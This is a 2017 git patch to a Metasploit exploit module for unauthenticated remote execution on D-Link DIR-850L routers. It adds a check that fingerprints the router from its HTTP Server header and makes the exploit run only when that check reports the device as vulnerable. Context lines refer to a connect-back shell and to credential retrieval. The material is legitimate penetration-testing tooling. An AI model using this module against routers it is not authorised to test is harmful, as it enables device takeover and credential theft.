From 84599ed3fc4a0153de5aff808aef4c163abb6776 Mon Sep 17 00:00:00 2001 From: Austin <30811388+realoriginal@users.noreply.github.com> Date: Sat, 4 Nov 2017 07:58:13 -0400 Subject: [PATCH] Update dlink_850l_unauth_exec.rb --- .../linux/http/dlink_850l_unauth_exec.rb | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb index f2b7489fd1..cd6cc8f7ad 100644 --- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb +++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb @@ -54,6 +54,28 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to attacker', 10]) ]) end + + def check + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + if res && res.headers['Server'] + auth = res.headers['Server'] + if auth =~ /DIR-850L/ + if auth =~ /WEBACCESS\/1\.0/ + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Detected + end + end + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + Exploit::CheckCode::Unknown + end def report_cred(opts) service_data = { @@ -196,7 +218,13 @@ class MetasploitModule < Msf::Exploit::Remote def exploit + + print_status("#{peer} - Connecting to target...") + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url") + end + # # Information Retrieval, obtains creds and logs in #